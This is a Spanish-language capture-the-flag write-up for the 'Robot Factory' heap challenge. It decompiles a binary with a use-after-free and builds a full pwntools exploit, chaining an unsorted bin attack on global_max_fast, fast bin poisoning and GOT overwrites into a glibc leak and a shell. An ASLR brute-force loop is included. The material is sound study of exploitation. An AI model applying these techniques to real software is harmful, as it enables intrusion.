Robot Factory
11 minutos de lectura
Se nos proporciona un binario de 64 bits llamado main
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Nos dan un Dockerfile
que comienza por FROM ubuntu:18.04
, así que podemos coger Glibc desde el contenedor y usar pwninit
para parchear el binario:
$ docker run --rm -v "$(pwd)":/home/rocky -it ubuntu:18.04 bash
root@c591782492e6:/# ldd /bin/sh
linux-vdso.so.1 (0x00007ffde1fb3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbcde5ef000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbcdec00000)
root@c591782492e6:/# /lib64/ld-linux-x86-64.so.2 /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
root@c591782492e6:/# cp /lib64/ld-linux-x86-64.so.2 /lib/x86_64-linux-gnu/libc.so.6 /home/rocky
root@c591782492e6:/# exit
exit
$ pwninit --libc libc.so.6 --ld ld-linux-x86-64.so.2 --bin main --no-template
bin: main
libc: libc.so.6
ld: ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.6_amd64.deb
copying main to main_patched
running patchelf on main_patched
Si abrimos el binario en Ghidra, veremos las siguientes funciones de un menú típico de explotación del heap:
void robots_factory() {
int option;
puts("Welcome to the secret robots factory!");
while (true) {
menu();
option = read_int();
if (option == 4) break;
if (option < 5) {
if (option == 3) {
destroy_robot();
} else if (option < 4) {
if (option == 1) {
new_robot();
} else if (option == 2) {
program_robot();
}
}
}
}
}
int main() {
setvbuf(stderr,NULL,2,0);
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
robots_factory();
return 0;
}
Tenemos la posibilidad de crear robots:
void new_robot() {
int size;
void *p_robot;
long in_FS_OFFSET;
int i;
char size_str[5];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
if (number_robots < 5) {
puts("Provide robot memory size:");
read(0, size_str, 4);
size = atoi(size_str);
if (size < 0x101) {
puts("you\'re creating a stupid robot.");
} else {
for (i = 0; i < 5; i++) {
if (check_robot_slot[i] == 0) {
p_robot = calloc(1, (long) size);
robots[i] = p_robot;
check_robot_slot[i] = 1;
robot_memory_size[i] = size;
printf("You got new page at index %d\n", (ulong) (uint) i);
number_robots = number_robots + 1;
break;
}
}
}
} else {
puts("All slots are occupied :(");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Se nos pide introducir un tamaño mayor que 0x101
(257). Al crear el robot, el programa utiliza calloc
. Esto es importante para la explotación ya que calloc
no utiliza el Tcache.
Existen algunos vectores y variables globales que almacenan metadatos de los robots (robots
, robots_memory_size
, check_robot_slot
and number_robots
). Además, solamente podemos crear hasta 5 robots.
Esta es la función para programar un robot:
void program_robot() {
int index;
long in_FS_OFFSET;
char index_str[5];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("Provide robot\'s slot:");
read(0, index_str, 4);
index = atoi(index_str);
if ((index < 0) || (4 < index)) {
puts("Slot is empty!");
} else if (robots[index] != NULL) {
puts("Program the robot:");
read(0, robots[index], (long) robot_memory_size[index]);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Lo primero que notamos es que podemos editar cualquier robot siempre que robot[index] != NULL
. Vamos a echar un vistazo a destroy_robot
:
void destroy_robot() {
int index;
long in_FS_OFFSET;
char index_str[5];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("Provide robot\'s slot:");
read(0, index_str, 4);
index = atoi(index_str);
if ((index < 0) || (4 < index)) {
puts("Slot is empty!");
} else if (check_robot_slot[index] == 0) {
puts("robot doesn\'t exist!");
} else {
free(robots[index]);
check_robot_slot[index] = 0;
number_robots = number_robots + -1;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Aquí el desarrollador se ha olvidado de borrar el puntero del robot destruido. El desarrollador solamente usa free
, luego pone check_robot_slot[index] = 0
y reduce number_robots
, pero robots[index]
sigue disponible.
Este hecho da lugar a una vulnerabilidad de Use After Free (UAF), ya que podemos programar un robot que ya está destruido. Vamos a planear la explotación:
- Solamente podemos crear chunks de tamaño mayor que
0x101
(rangos de Small Bin y Large Bin) - Como
calloc
no usa el Tcache, no podemos realizar un ataque de Tcache poisoning. Sin embargo, los chunks de menos de0x401
bytes irán a la correspondiente lista del Tcache al ser liberados - Podemos realizar un ataque de Unsorted Bin porque tenemos un UAF, por lo que podemos modificar el puntero
bk
y escribir un valor fijo en una dirección arbitraria - Un buen objetivo para un ataque de Unsorted Bin es
global_max_fast
en Glibc. Esto hará que todos los chunks se comporten como Fast Bins (lo cual no era posible antes) - Si conseguimos la habilidad de crear Fast Bins, podremos realizar un ataque de Fast Bin modificando el puntero
fd
de un chunk liberado, pero necesitaremos burlar algunas mitigaciones - Un buen objetivo para un ataque de Fast Bin es la variable global
robots
, ya que podremos escribir direcciones de la Tabla de Offsets Globales (GOT) - Como el binario tiene Partial RELRO, podremos realizar una sobrescritura de la GOT para fugar Glibc y llamar a
system("/bin/sh")
Primero, vamos a comenzar creando dos chunks:
- Un chunk de tamaño
0x418
- Otro chunk de tamaño
0x108
(para prevenir consolidación)
Al destruir el primer chunk obtendremos un Unsorted Bin y podremos modificar el puntero bk
para que sea la dirección de global_max_fast
:
def main():
p = get_process()
gdb.attach(p, 'continue')
create(p, 0x418)
create(p, 0x108)
destroy(p, 0)
p.interactive()
if __name__ == '__main__':
main()
En GDB, vemos el siguiente estado del heap:
$ python3 solve.py
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1686163
[*] running in new terminal: ['/usr/bin/gdb', '-q', './main_patched', '1686163', '-x', '/tmp/pwnrhgmk3pf.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
1- Create a robot
2- Program a robot
3- Destroy a robot
4- Exit
> $
pwndbg> vis_heap_chunks
0x405000 0x0000000000000000 0x0000000000000251 ........Q.......
0x405010 0x0000000000000000 0x0000000000000000 ................
0x405020 0x0000000000000000 0x0000000000000000 ................
...
0x405230 0x0000000000000000 0x0000000000000000 ................
0x405240 0x0000000000000000 0x0000000000000000 ................
0x405250 0x0000000000000000 0x0000000000000421 ........!....... <-- unsortedbin[all][0]
0x405260 0x00007ffff7dcdca0 0x00007ffff7dcdca0 ................
0x405270 0x0000000000000000 0x0000000000000000 ................
0x405280 0x0000000000000000 0x0000000000000000 ................
...
0x405650 0x0000000000000000 0x0000000000000000 ................
0x405660 0x0000000000000000 0x0000000000000000 ................
0x405670 0x0000000000000420 0x0000000000000110 ...............
0x405680 0x0000000000000000 0x0000000000000000 ................
0x405690 0x0000000000000000 0x0000000000000000 ................
...
0x405770 0x0000000000000000 0x0000000000000000 ................
0x405780 0x0000000000000000 0x0000000000020881 ................ <-- Top chunk
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x405250 /* 'PR@' */
smallbins
empty
largebins
empty
pwndbg> p &global_max_fast
$1 = (size_t *) 0x7ffff7dcf940 <global_max_fast>
Ya tenemos el Unsorted Bin. Ahora, podemos modificar el puntero bk
para que apunte a global_max_fast
. De momento, deshabilitaré ASLR, y así solo tengo que sobrescribir los últimos dos bytes de bk
con f940
:
program(p, 0, p64(0) + p16(0xf940 - 0x10))
create(p, 0x418)
destroy(p, 0)
Ahora ya hemos modificado global_max_fast
:
pwndbg> x/gx &global_max_fast
0x7ffff7dcf940 <global_max_fast>: 0x00007ffff7dcdca0
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcde40 (main_arena+512) ◂— 0x405250 /* 'PR@' */
BK: 0x7ffff7dcf930 (dumped_main_arena_end) ◂— 0x0
smallbins
0x1b0 [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcde40 (main_arena+512) ◂— 0x405250 /* 'PR@' */
BK: 0x7ffff7dcde40 (main_arena+512) ◂— 0x7ffff7dcde40
largebins
empty
Sin embargo, como desventaja, hemos corrompido la lista enlazada de Unsorted Bin, y si creamos un nuevo chunk el programa se romperá:
> $ 1
Provide robot memory size:
$ 264
malloc(): memory corruption (fast)
¿Pero ves algo extraño? Hemos creado un chunk de tamaño 0x108
(264), y se está considerando como Fast Bin. Por tanto, hemos modificado global_max_fast
correctamente.
Podemos arreglar el problema creando un chunk adicional antes de realizar el ataque de Unsorted Bin. Luego, podemos liberar ese chunk para insertarlo en el Fast Bin y modificar su puntero fd
. No obstante, tenemos que cumplir ciertas restricciones:
- La dirección tiene que contener un tamaño válido para el chunk que estamos “restaurando”
- El campo que corresponde al tamaño anterior tiene que coincidir con el tamaño del chunk anterior
Si miramos en robot_memory_size
, veremos lo siguiente:
pwndbg> x/30gx &robot_memory_size
0x4040c0 <robot_memory_size>: 0x0000010800000418 0x0000000000000000
0x4040d0 <robot_memory_size+16>: 0x0000000000000000 0x0000000000000000
0x4040e0 <check_robot_slot>: 0x0000000100000000 0x0000000000000000
0x4040f0 <check_robot_slot+16>: 0x0000000000000000 0x0000000000000000
0x404100 <robots>: 0x0000000000405260 0x0000000000405680
0x404110 <robots+16>: 0x0000000000000000 0x0000000000000000
0x404120 <robots+32>: 0x0000000000000000 0x0000000000000001
0x404130: 0x0000000000000000 0x0000000000000000
0x404140: 0x0000000000000000 0x0000000000000000
0x404150: 0x0000000000000000 0x0000000000000000
0x404160: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180: 0x0000000000000000 0x0000000000000000
0x404190: 0x0000000000000000 0x0000000000000000
0x4041a0: 0x0000000000000000 0x0000000000000000
De hecho, si creamos un tercer chunk, el tamaño se almacenará en robot_memory_size
, y el campo de tamaño anterior será 0x418
. Por tanto, podemos crear dos chunks de tamaño 0x418
y el tercero de tamaño 0x421
, que actuará como barrera para prevenir la consolidación del heap y además será útil para pasar la comprobación de Fast Bin:
def main():
p = get_process()
gdb.attach(p, 'continue')
create(p, 0x418)
create(p, 0x418)
create(p, 0x421)
destroy(p, 0)
program(p, 0, p64(0) + p16(0xf940 - 0x10))
create(p, 0x418)
destroy(p, 0)
p.interactive()
if __name__ == '__main__':
main()
pwndbg> x/30gx &robot_memory_size
0x4040c0 <robot_memory_size>: 0x0000041800000418 0x0000000000000421
0x4040d0 <robot_memory_size+16>: 0x0000000000000000 0x0000000000000000
0x4040e0 <check_robot_slot>: 0x0000000100000000 0x0000000000000001
0x4040f0 <check_robot_slot+16>: 0x0000000000000000 0x0000000000000000
0x404100 <robots>: 0x0000000000405260 0x0000000000405680
0x404110 <robots+16>: 0x0000000000405aa0 0x0000000000000000
0x404120 <robots+32>: 0x0000000000000000 0x0000000000000002
0x404130: 0x0000000000000000 0x0000000000000000
0x404140: 0x0000000000000000 0x0000000000000000
0x404150: 0x0000000000000000 0x0000000000000000
0x404160: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180: 0x0000000000000000 0x0000000000000000
0x404190: 0x0000000000000000 0x0000000000000000
0x4041a0: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405250
Size: 0x421
fd: 0x7ffff7dcde40
bk: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x405670
Size: 0x421
Allocated chunk | PREV_INUSE
Addr: 0x405a90
Size: 0x431
Top chunk | PREV_INUSE
Addr: 0x405ec0
Size: 0x20141
Esto es a lo que me refería. Tenemos un Fast Bin en el índice 1
, ahora lo liberaremos y modificaremos su puntero fd
a robot_memory_size
. Pasaremos la comprobación del tamaño porque tenemos 0x421
en esa dirección, y el campo de tamaño anterior será 0x418
, que coincide con el chunk anterior en el heap. Entonces todo funcionará bien:
destroy(p, 1)
program(p, 1, p64(elf.sym.robot_memory_size))
create(p, 0x418)
create(p, 0x418)
pwndbg> x/30gx &robot_memory_size
0x4040c0 <robot_memory_size>: 0x0000041800000418 0x0000000000000421
0x4040d0 <robot_memory_size+16>: 0x0000000000000000 0x0000000000000000
0x4040e0 <check_robot_slot>: 0x0000000100000000 0x0000000000000000
0x4040f0 <check_robot_slot+16>: 0x0000000000000000 0x0000000000000000
0x404100 <robots>: 0x0000000000000000 0x00000000004040d0
0x404110 <robots+16>: 0x0000000000000000 0x0000000000000000
0x404120 <robots+32>: 0x0000000000000000 0x0000000000000001
0x404130: 0x0000000000000000 0x0000000000000000
0x404140: 0x0000000000000000 0x0000000000000000
0x404150: 0x0000000000000000 0x0000000000000000
0x404160: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180: 0x0000000000000000 0x0000000000000000
0x404190: 0x0000000000000000 0x0000000000000000
0x4041a0: 0x0000000000000000 0x0000000000000000
En este punto, tenemos robots[1]
apuntando a 0x4040d0
, por lo que podemos comenzar a jugar con estas variables globales y poner los valores que queramos. Por ejemplo, podemos poner un 1
en check_robot_slot
y poner entradas de la GOT en robots
:
program(p, 1, p64(0x1000) + p64(0) + p32(1) * 5 + p64(0) + p32(0) +
p64(elf.got.free) + p64(elf.got.atoi) + p64(elf.got.atoi))
Con esto, podemos modificar la entrada de free
en la GOT para que sea puts
, de manera que podemos fugar atoi
en Glibc en tiempo de ejecución al usar destroy(p, 2)
:
program(p, 0, p64(elf.plt.puts))
destroy(p, 2)
atoi_addr = u64(p.recvline().strip().ljust(8, b'\0'))
glibc.address = atoi_addr - glibc.sym.atoi
log.success(f'Glibc base address: {hex(glibc.address)}')
$ python3 solve.py
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1712644
[*] running in new terminal: ['/usr/bin/gdb', '-q', './main_patched', '1712644', '-x', '/tmp/pwn_ozbkaaz.gdb']
[+] Waiting for debugger: Done
[+] Glibc base address: 0x7ffff79e2000
[*] Switching to interactive mode
1- Create a robot
2- Program a robot
3- Destroy a robot
4- Exit
> $
Genial, tenemos una fuga de Glibc. Ahora podemos modificar la GOT de nuevo y hacer que atoi
sea system
, de forma que, en lugar de introducir un número del menú, pongamos sh
para conseguir una shell (solo podemos escribir hasta 4 bytes, por lo que sh
es suficiente):
program(p, 1, p64(glibc.sym.system))
p.sendlineafter(b'> ', b'sh')
p.interactive()
$ python3 solve.py
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1714210
[+] Glibc base address: 0x7ffff79e2000
[*] Switching to interactive mode
$ ls
ld-linux-x86-64.so.2 libc.so.6 main main_patched solve.py
Genial. Lo único que falta es habilitar ASLR. Esto hará que el exploit funcione de media 1 de cada 16 veces, debido a que estamos modificando global_max_fast
de forma parcial con dos bytes, y ASLR afecta a uno de los dígitos hexadecimales involucrados (4 bits):
$ while true; do python3 solve.py 2>/dev/null; done
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719491
[*] Process './main_patched' stopped with exit code -11 (SIGSEGV) (pid 1719491)
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719497
[*] Process './main_patched' stopped with exit code -11 (SIGSEGV) (pid 1719497)
...
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719600
[*] Process './main_patched' stopped with exit code -11 (SIGSEGV) (pid 1719600)
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719606
[+] Glibc base address: 0x7f3744bd2000
[*] Switching to interactive mode
$ ls
ld-linux-x86-64.so.2 libc.so.6 main main_patched solve.py
El exploit completo se puede encontrar aquí: solve.py
.